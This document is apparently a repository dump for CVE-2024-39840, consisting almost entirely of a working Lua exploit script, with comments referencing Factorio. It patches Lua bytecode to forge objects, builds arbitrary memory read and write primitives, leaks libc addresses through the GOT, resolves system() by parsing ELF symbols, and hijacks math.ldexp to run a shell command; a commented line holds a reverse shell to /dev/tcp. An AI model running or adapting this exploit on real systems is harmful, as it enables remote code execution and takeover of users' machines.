README.md
README.md not found for CVE-2024-39840. The file may not exist in the repository.
function main()
bits_table = {5e-324, 1e-323, 2e-323, 4e-323, 8e-323, 1.6e-322, 3.16e-322, 6.3e-322, 1.265e-321, 2.53e-321, 5.06e-321, 1.012e-320, 2.0237e-320, 4.0474e-320, 8.095e-320, 1.61895e-319, 3.2379e-319, 6.4758e-319, 1.295163e-318, 2.590327e-318, 5.180654e-318, 1.036131e-317, 2.0722615e-317, 4.144523e-317, 8.289046e-317, 1.6578092e-316, 3.3156184e-316, 6.63123685e-316, 1.32624737e-315, 2.65249474e-315, 5.304989477e-315, 1.0609978955e-314, 2.121995791e-314, 4.243991582e-314, 8.487983164e-314, 1.69759663277e-313, 3.39519326554e-313, 6.7903865311e-313, 1.35807730622e-312, 2.716154612436e-312, 5.43230922487e-312, 1.086461844974e-311, 2.1729236899484e-311, 4.345847379897e-311, 8.691694759794e-311, 1.73833895195875e-310, 3.4766779039175e-310, 6.953355807835e-310, 1.390671161567e-309, 2.781342323134e-309, 5.562684646268003e-309, 1.1125369292536007e-308}
-- the normal one does not work with libtrio since it has precision errors
-- which factorio also includes
-- only works for denormalized numbers but it doesnt really matter since we are only using this to leak addresses
function double_to_number_trio(double)
local cur = double
local bin_str = ''
-- remember: 1 indexed tables!
for i=52,1,-1 do
cur_bit = bits_table[i]
if cur >= cur_bit then
cur = cur - cur_bit
bin_str = bin_str .. '1'
else
bin_str = bin_str .. '0'
end
end
return tonumber(bin_str, 2)
end
function integer_to_double(integer)
return integer * 2^-1074
end
function print_ptr(ptr_val)
print(string.format("Pointer: 0x%x", ptr_val))
end
-- Utils
local function p64(n) -- 64bit number to str
local t = {}
for i = 1, 8 do
local b = n % 256
t[i] = string.char(b)
n = (n - b) / 256
end
return table.concat(t)
end
local function p32(n) -- 32bit number to str
local t = {}
for i = 1, 4 do
local b = n % 256
t[i] = string.char(b)
n = (n - b) / 256
end
return table.concat(t)
end
local function u64(s)
assert(#s == 8, "u64 expects exactly 8 bytes")
local n = 0
for i = 8, 1, -1 do
n = n * 256 + s:byte(i)
end
return n
end
local function u32(s)
assert(#s == 4, "u32 expects exactly 4 bytes")
local n = 0
for i = 4, 1, -1 do
n = n * 256 + s:byte(i)
end
return n
end
asnum = load(string.dump(function(x)
for i = 0, 1000000000000, x do return i end
end):gsub("\x61\0\0\x80", "\x17\0\0\128"))
function addr_of(v)
leak = double_to_number_trio(asnum(v))
return leak
end
function make_fake_obj(addr, type_v)
fakeTValueArray = p64(addr) .. p64(type_v)
fakeProto = p64(0x0) .. p64(0x0) .. p64(0x0) .. p64(addr_of(fakeTValueArray) + 32)
fakeClosure = p64(addr_of(fakeProto) + 32)
craft_object = string.dump(function(closure)
local target
return (function(closure) -- [1] target points to this function LClosure
(function(closure)
-- [2] The inner function overwrites the outer function LClosure
target = closure
end)(closure)
-- [3] The LOADK opcode reads the constant
-- from our fake LCLosure array of constants,
-- so instead of 42 this returns our fake object
return 42
-- We need to return an additional value to prevent a TAILCALL
-- that would mess up with the Call frame
end)(closure), 1337
end)
-- Replace the stack index of target upval to point to the LCLosure
-- of the first function
craft_object = craft_object:gsub("(target\x00\x01\x00\x00\x00\x01)\x01", "%1\x02", 1)
craft_object = load(craft_object)
return craft_object(fakeClosure)
end
fake_str = p64(0x0) .. p64(0x0) .. p64(0)..p64(0x1337)
print_ptr(addr_of(fake_str))
read_primitive = make_fake_obj(addr_of(fake_str) + 32, 4)
function read(fake_string, addr, size)
-- First we calculate if the address is reachable from our position
local relative_addr = addr - (addr_of(fake_string) + 23 + 8)
if relative_addr < 0 then
print("[-] Cannot read from " .. addr)
return
end
-- Then we obtain the part of the string where the data is located
return fake_string:sub(relative_addr, relative_addr + size - 1)
end
write_primitive = string.dump(function(closure, value)
local target
(function(closure, value) -- [1] target points to this function LClosure
(function(closure)
-- [2] The inner function overwrites the outer function LClosure
target = closure
end)(closure)
-- [3] Target now points to the address we want to write to.
-- Changing its value means writting a TValue in that address
target = value
end)(closure, value)
end)
write_primitive = write_primitive:gsub("(target\x00\x01\x00\x00\x00\x01)\x02", "%1\x03", 1)
write_primitive = load(write_primitive)
function write(addr, value)
-- Encode double as an integer
value = integer_to_double(value)
-- The Fake Upval points to the destination of the write
fakeUpVal = "AAAABBBBCCCCDDDDEEEEFFFF".. p64(addr) -- next/tt/marked + v
-- Fake closure that we use to overwrite the real closure
fakeClosure = p64(addr_of("MemoryCorruption")) .. p64(addr_of(fakeUpVal) + 32) -- proto + upvals
write_primitive(fakeClosure, value)
end
--target_off = 0x289fb80
--little bit of space after this part
target_off = 0x289ddc0
execv_got_off = 0x28A02B0
--write a fake string here
write(target_off, 0)
write(target_off + 8, 0)
write(target_off + 16, 0)
write(target_off + 24, 0xffffffffffff)
binsh_off = target_off + 32
--sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &"
command = "sh -c 'kcalc &'"
for i = 1, #command do
local num = string.byte(command, i)
--print(num)
write(binsh_off - 1 + i, num)
end
ldexp_off = 0x28A0B90
malloc_off = 0x289FD60
fake_str_got = make_fake_obj(target_off, 4)
print_ptr(addr_of(fake_str_got))
execv_leak = read(fake_str_got, execv_got_off, 8)
malloc_leak = read(fake_str_got, malloc_off, 8)
print(execv_leak)
execv_ptr = u64(execv_leak)
--guarenteed to be resolved
malloc_ptr = u64(malloc_leak)
libc_masked = malloc_ptr - malloc_ptr % 0x1000
--elf header 0x7F454C46
elf_head = 0x464c457f
while true do
cur_leak_data = read(fake_str_got, libc_masked, 4)
if cur_leak_data == nil then return end
cur_leak = u32(cur_leak_data)
if cur_leak == elf_head then
break
end
libc_masked = libc_masked - 0x1000
--break
end
print("found libc base")
print_ptr(libc_masked)
--todo: change
system_pos = 0x53400
local function libc_read_bytes(offset, size)
return read(fake_str_got, offset + libc_masked, size)
end
local function u32le(s)
local a, b, c, d = s:byte(1, 4)
return a + b*0x100 + c*0x10000 + d*0x1000000
end
local function u16le(s)
local a, b = s:byte(1, 2)
return a + b * 0x100
end
local function u64le(s)
local lo = u32le(s:sub(1, 4))
local hi = u32le(s:sub(5, 8))
return hi * 0x100000000 + lo
end
local function find_dynsym_va(symbol_name)
-- Step 1: ELF header is always at the base of the mapping
local elf_hdr = libc_read_bytes(0, 64)
local e_phoff = u64le(elf_hdr:sub(0x20+1, 0x28))
local e_phentsize = u16le(elf_hdr:sub(0x36+1, 0x36+2))
local e_phnum = u16le(elf_hdr:sub(0x38+1, 0x38+2))
-- Step 2: Scan program headers for PT_DYNAMIC
local dyn_va
for i = 0, e_phnum - 1 do
local ph = libc_read_bytes(e_phoff + i * e_phentsize, e_phentsize)
local p_type = u32le(ph:sub(1, 4))
if p_type == 2 then -- PT_DYNAMIC
dyn_va = u64le(ph:sub(17, 24)) -- p_vaddr
break
end
end
assert(dyn_va, "PT_DYNAMIC not found")
print_ptr(dyn_va)
-- Step 3: Parse DYNAMIC entries to find DT_SYMTAB, DT_STRTAB, DT_SYMENT
local dynsym_va, dynstr_va, syment_size
for i = 0, 256 do
local entry = libc_read_bytes(dyn_va + i * 16, 16)
local tag = u64le(entry:sub(1, 8))
local val = u64le(entry:sub(9, 16))
if tag == 0 then break end -- DT_NULL
if tag == 6 then dynsym_va = val end -- DT_SYMTAB
if tag == 5 then dynstr_va = val end -- DT_STRTAB
if tag == 11 then syment_size = val end -- DT_SYMENT
end
dynsym_va = dynsym_va - libc_masked
dynstr_va = dynstr_va - libc_masked
assert(dynsym_va and dynstr_va and syment_size, "Missing DT_SYMTAB/STRTAB/SYMENT")
print_ptr(dynsym_va)
print_ptr(dynstr_va)
print_ptr(syment_size)
-- Step 4: Iterate dynsym
for i = 0, 10000 do
local sym = libc_read_bytes(dynsym_va + i * syment_size, syment_size)
local st_name = u32le(sym:sub(1, 4))
local st_value = u64le(sym:sub(9, 16)) -- offset 8 in Elf64_Sym
-- Read symbol name from dynstr
local name = ""
for j = 0, 255 do
local c = libc_read_bytes(dynstr_va + st_name + j, 1)
if c == "\0" then break end
name = name .. c
end
if name == symbol_name then
return st_value -- this is a real virtual address in libc
end
end
return nil -- not found
end
-- Example usage:
local va = find_dynsym_va("system")
if va then
print(string.format("Symbol 'system' found at VA: 0x%X", va))
else
print("Symbol not found.")
end
write(ldexp_off, libc_masked + va)
math.ldexp(0, binsh_off)
end
main()